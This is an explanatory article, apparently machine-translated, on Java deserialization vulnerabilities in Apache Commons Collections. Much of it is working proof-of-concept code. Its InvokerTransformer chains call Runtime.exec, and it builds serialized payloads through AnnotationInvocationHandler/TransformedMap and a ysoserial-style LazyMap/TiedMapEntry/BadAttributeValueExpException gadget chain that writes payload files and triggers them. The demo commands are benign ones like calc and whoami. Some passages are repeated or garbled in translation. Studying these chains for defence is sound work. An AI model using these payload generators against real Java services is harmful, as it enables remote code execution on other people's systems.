Principle analysis of deserialization vulnerability
Start with serialization and deserialization
What are serialization and deserialization?
In short, serialization is the process of converting an object into a byte sequence (that is, a form that can be stored or transmitted), while deserialization is its inverse operation, that is, the process of restoring a byte sequence into an object.
These two operations are generally used for saving objects and network transmission of byte sequences of objects.
For example, in many applications, some objects need to be serialized to leave the memory space and live in the physical hard disk, so as to reduce the memory pressure or facilitate long-term storage. Or serialize and save some objects in a highly concurrent environment and call them out when necessary, which can reduce the pressure on the server
Serialization and deserialization in Java
In the Java language, classes that implement serialization and deserialization:
Location: Java.io.ObjectOutputStream
Serialization: ObjectOutputStream class -- > writeobject()
Note: this method serializes the obj object specified by the parameter, writes the byte sequence to a target output stream, and gives the file a. ser extension according to Java standard convention
Deserialization: ObjectInputStream class -- > readobject()
Note: this method reads byte sequences from a source input stream, deserializes them into an object, and returns them.
Paste a code to realize the following principle:
import java.io.*;
public class ReflectionPlay implements Serializable {
private void exec() throws Exception {
String s = "hello";
byte[] ObjectBytes=serialize(s);
String after = (String) deserialize(ObjectBytes);
System.out.println(after);
}
/*
* Serialize object to byte array
* */
private byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
/*
* Deserialize an object from a byte array
* */
private Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
new ReflectionPlay().exec();
}
}
From the running results, we can see that after serializing and deserializing the object of String type, we still get the original object:
Briefly analyze this process:
First create a file through the input stream, and then call the writeObject method of ObjectOutputStream class to write the serialized data to the file; Then call the readObject method of the ObjectInputStream class to de serialize the data and print the data content.
Several precautions:
- Only objects of classes that implement Serializable and Externalizable interfaces can be serialized.
- The Externalizable interface inherits from the Serializable interface. The classes that implement the Externalizable interface completely control the serialization behavior, while the classes that only implement the Serializable interface can adopt the default serialization method.
Sort out the process of serialization and deserialization:
Object serialization includes the following steps:
1) Create an object output stream, which can wrap another type of target output stream, such as file output stream; 2) Output stream through object writeObject()Method to write an object.
The steps of object deserialization are as follows:
1) Create an object input stream, which can wrap another type of source input stream, such as file input stream; 2) Input flow through object readObject()Method to read the object.
Causes of loopholes
In short, if the deserialization method executes a specially constructed byte sequence, the deserialization vulnerability occurs.
If a Java application deserializes user input, that is, untrusted data, an attacker can construct malicious input to cause the deserialization to generate unexpected objects, which may lead to arbitrary code execution in the generation process.
Vulnerability analysis
Start with Apache Commons Collections
Well, now we know the general direction, but why start with commons collections?
The reason is that a large number of serialization / deserialization and a large number of extended data structures and toolsets will be used in the development of large Java projects. CommonsCollections provides a class package to extend and add the standard Java collection framework, that is, these extensions also belong to the basic concept of collection, but have different functions.
Collection in Java can be understood as a group of objects, and the objects in collection are called collection objects. Concrete collections are set, list, queue, etc., which are collection types. In other words, collection is an abstraction of set, list and queue. Collection in Java can be understood as a group of objects, and the objects in collection are called collection objects. Concrete collections are set, list, queue, etc., which are collection types. In other words, collection is an abstraction of set, list and queue.
As an important component of Apache open source project, Commons Collections is widely used in the development of various Java applications. It is precisely because of the implementation of these classes and method calls in a large number of web applications that lead to the universality and severity of the vulnerability for deserialization.
Reflection mechanism
There is a special interface in common collections. A class that implements this interface can call any function by calling Java's reflection mechanism, which is called InvokerTransformer.
Reflection mechanism of Java:
In the running state:
For any class, you can judge the class to which an object belongs;
For any class, you can know all the properties and methods of this class;
For any object, you can call any of its methods and properties;
This kind of dynamically acquired information and the function of dynamically calling object methods are called the reflection mechanism of java language.
POC construction idea
According to the above explanation and definition, we can get a general idea
Construct an object -> Serialize it -> Submit data to a method that can be deserialized
To realize the above ideas, we have to solve three problems:
- What objects are eligible?
- How do I execute commands?
- How to make it execute commands when deserialized?
How to execute commands
First of all, we can know that in order to call external commands in java, we can use this function Runtime.getRuntime().exec(). However, we need to find an object first to store and execute our commands in specific cases.
Map class -- > transformedmap
The Map class is a data structure that stores key value pairs. Apache Commons Collections implements transformaedmap. When an element is added / deleted / modified (i.e. key or value: the data storage form in the collection is an index corresponding to a value, just like the relationship between ID card and person), this class will call the transform method to automatically perform specific modification transformation. The specific transformation logic is defined by the Transformer class. In other words, when the data in the TransformedMap class changes, some special transformations can be automatically performed on it, such as changing it back when the data is modified; Or when the data changes, do some operations we set in advance.
As for the operation or transformation, we set it in advance. This is called transform. We'll learn about transform later.
Generally, we obtain an instance of TransformedMap through the * TransformedMap. Modify() * method
This method is used to convert the Map data structure into transformedMap. This method receives three parameters:
map: Parameter object to be converted The second parameter is Map Within object key The conversion method to go through (can be a single method, chain or empty) The third parameter is Map Within object value Conversion method to go through
Transformer interface
Function: all classes that interface with Transformer have the function of converting one object into another
The source code is as follows
For subsequent use, we will use several classes that implement Transformer
ConstantTransformer
Converts an object to a constant and returns.
public class ConstantTransformer implements Transformer, Serializable{
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn){
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
public ConstantTransformer(Object constantToReturn){
this.iConstant = constantToReturn;
}
public Object transform(Object input){
return this.iConstant;
}
public Object getConstant(){
return this.iConstant;
}
}
InvokerTransformer
Returns an object through reflection
...
/*
Input The parameter is the object to be reflected,
iMethodName,iParamTypes Is the name of the method called and the parameter type of the method
iArgs Is the parameter of the corresponding method
In the constructor of invokeTransformer class, we can find that these three parameters are controllable parameters
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
{
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input)
{
if (input == null) {
return null;
}
try
{
Class cls = input.getClass();
//Get the executed method according to the passed in method name and method type
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//The method is executed through the object by reflection, where iArgs is the passed in parameter
return method.invoke(input, this.iArgs);
}
catch (NoSuchMethodException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
}
catch (IllegalAccessException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
}
catch (InvocationTargetException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
ChainedTransformer
ChainedTransformer is a chained Transformer that can be used to execute the Transformer we defined one by one
public ChainedTransformer(Transformer[] transformers){
this.iTransformers = transformers;
}
public Object transform(Object object){
for (int i = 0; i < this.iTransformers.length; i++) {
object = this.iTransformers[i].transform(object);
}
return object;
}
We can obtain the Runtime class with ConstantTransformer(), then call getRuntime function through reflection, and then call exec() function of getRuntime to execute the command ''. The calling relationship is: Runtime -- > getRuntime -- > exec()
Therefore, we need to construct the ChainedTransformer chain in advance. It will call the runtime, getruntime and exec functions in the order we set, and then execute the command. At the beginning, we first construct a TransformeMap instance, and then try to modify its data so that it automatically calls the tansform() method for specific transformation (that is, we set it earlier). Therefore, we need to construct the ChainedTransformer chain in advance, which will call the runtime, getruntime and exec functions in sequence according to the order we set, and then execute the command.
At the beginning, we first construct a TransformeMap instance, and then try to modify the data in it so that it automatically calls the tansform() method for specific transformation (that is, we set it earlier)
Here is a code to implement the logic
public class InvokeTest {
public static void main(String[] args){
//transformers: a transformer chain that contains the conversion arrays of various transformer objects (preset conversion logic)
//Here, four class objects inherited from Transformer are declared and stored in the object array
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//First, construct a Map and a chained transformer that can execute code to generate a transformed Map
//The ChainedTransformer chain is constructed in advance. It will call the runtime, getruntime and exec functions in the order we set, and then execute the command.
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1", "zhang");
/*TransformedMap.decorate Method, which is expected to transform the data structure of Map class. This method has three parameters.
The first parameter is the Map object to be converted
The second parameter is the conversion method of the key in the Map object (it can be a single method, chain or empty)
The third parameter is the conversion method of value in the Map object*/
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
//Trigger MapEntry in Map to generate modification
//The reason is that the checkSetValue in the transformaedmap calls the transforms method, and the setValue of the Map.Entry just triggers the checkSetValue, executes the transforms, and uses the chain to start
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
/*
When the code runs to setValue(), a series of transformation functions in ChainedTransformer will be triggered:
First, get the Runtime class through ConstantTransformer
Further, call getMethod through reflection to find the invoke function
Finally, run the command calc.exe.
*/
}
}
Organize your thoughts:
Construct a Map And a program that can execute code ChainedTransformer， Generate a TransformedMap example utilize MapEntry of setValue()Function pair TransformedMap Modify the key value in to trigger checkSetValue Method, execute to transform method. Trigger our previously constructed chain Transforme(Namely ChainedTransformer)Automatic conversion
How to execute commands when reading objects
According to the idea of our previous construction, we need to rely on an item in the Map to call setValue() to trigger command execution. How can execution be triggered directly when the readObject() method is called?
Further thinking
We know that if the method of a class is overridden, the modified method will be called first when calling this function. Therefore, if a serializable class overrides the readObject() method and modifies the key value of the Map variable in readObject(), and the Map variable is controllable, we can achieve the attack target.
(there are many ways to use it. Let's choose some typical ones)
AnnotationInvocationHandler class
This class has a member variable memberValues yes Map type Even better, AnnotationInvocationHandler of readObject()Pair in function memberValues Each item of the called setValue()Function pair value Values.
(this class is located in sun.reflect.annotation.AnnotationInvocationHandler, jdk8u in which the AnnotationInvocationHandler class deletes memberValue.setValue(), so the reflection chain cannot be constructed with AnnotationInvocationHandler + transformaedmap.)
The construction idea of using AnnotationInvocationHandler:
1)First construct a Map And a program that can execute code ChainedTransformer， 2)Generate a TransformedMap example 3)instantiation AnnotationInvocationHandler，And serialize it, 4)When triggered readObject()During deserialization, command execution can be realized.
Next, let's look at the implementation idea according to the code:
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CompleteAnnotationInvocationHandlerTest{
public static void main(String[] args) throws Exception {
//execArgs: array of commands to be executed
//String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
//transformers: a transformer chain that contains the conversion arrays of various transformer objects (preset conversion logic)
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
Because of the definition of the invoke(Object obj,Object args []) Method of the Method class
So write new Class[] {Object.class, Object[].class} in the reflection
Example of normal POC process:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { "whoami" }
//new Object[] { execArgs }
)
};
//transformedChain: ChainedTransformer class object, which is passed into the transformers array. The conversion operation can be performed according to the logic of the transformers array
Transformer transformedChain = new ChainedTransformer(transformers);
//BeforeTransformerMap: Map data structure, Map before conversion. The objects in the Map data structure are in the form of key value pairs, which is similar to python's dict
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
//Map data structure, converted map
/*
TransformedMap.decorate Method, which is expected to transform the data structure of Map class. This method has three parameters.
The first parameter is the Map object to be converted
The second parameter is the conversion method of the key in the Map object (it can be a single method, chain or empty)
The third parameter is the conversion method of value in the Map object.
*/
//Transformedmap.correct (target map, conversion object of key (single or chain or null), conversion object of value (single or chain or null));
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//Gets the constructor of AnnotationInvocationHandler with parameter Map data type
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//true to call the private constructor
ctor.setAccessible(true);
//Get an object instance
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
//Serialize objects to write files
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}
/*
Idea: build the key value pair of BeforeTransformerMap and assign value to it,
The transform method of transforme d Map is used to transform the key/value of Map data structure
Convert the value of BeforeTransformerMap. When the value of BeforeTransformerMap completes a complete conversion chain, the command execution is completed
Execution essence: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(...)
Use reflection to call Runtime() to execute some system commands, Runtime.getRuntime().exec()
*/
Utilization chain of LazyMap class
As mentioned earlier, the AnnotationInvocationHandler may be triggered unsuccessfully due to the jdk version, so the second method is triggered in cooperation with LazyMap. In addition, LazyMap triggers more stably, and some serialization tools such as ysoserial also use the LazyMap utilization chain.
Let's take a look at the LazyMap code and find that the transform method is called in the get method of the LazyMap class!
In this way, we only need to find the class that can trigger the get method in LazyMap when readObject is found.
Therefore, according to this principle, we found the TiedMapEntry class (the calling class is not unique, but only one of them is listed here). When the TiedMapEntry is initialized, the Map will be initialized, and the get method of LazyMap will be called.
According to this principle, we can customize our own malicious objects.
Let's take a general look at the construction process according to the malicious object construction method of ysoserial's commons-collection 5
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import rewrite.TiedMapEntry;
import rewrite.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CompleteLazyMapTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
new ConstantTransformer("1")
};
Transformer transformChain = new ChainedTransformer(transformers);
//At this point, perform the chain operation for generation
//Modify instantiates the LazyMap class.
// The get method of LazyMap class calls transform, which can execute commands through reflection mechanism
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
//TiedMapEntry called toString method > get method called map.
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
//The constructor of BadAttributeValueExpException calls the toString method
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
//val is a private variable, so the following method is used for assignment. val variable is assigned as the instantiated object of TiedMapEntry,
//The val variable of the readObject method overriding badattributevalueexception is assigned to the badattributevalueexception class,
//val = valObj.toString() of BadAttributeValueExpException will be called; Trigger the above
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);
//Generate payload by serialization
File f = new File("payload2.ser");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(exception);
out.flush();
out.close();
System.out.println("generate payload be located payload2.ser");
//Simulated deserialization trigger vulnerability
ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload2.ser"));
in.readObject(); // Trigger vulnerability
in.close();
System.out.println("Deserialization payload2.ser Trigger vulnerability");
}
}
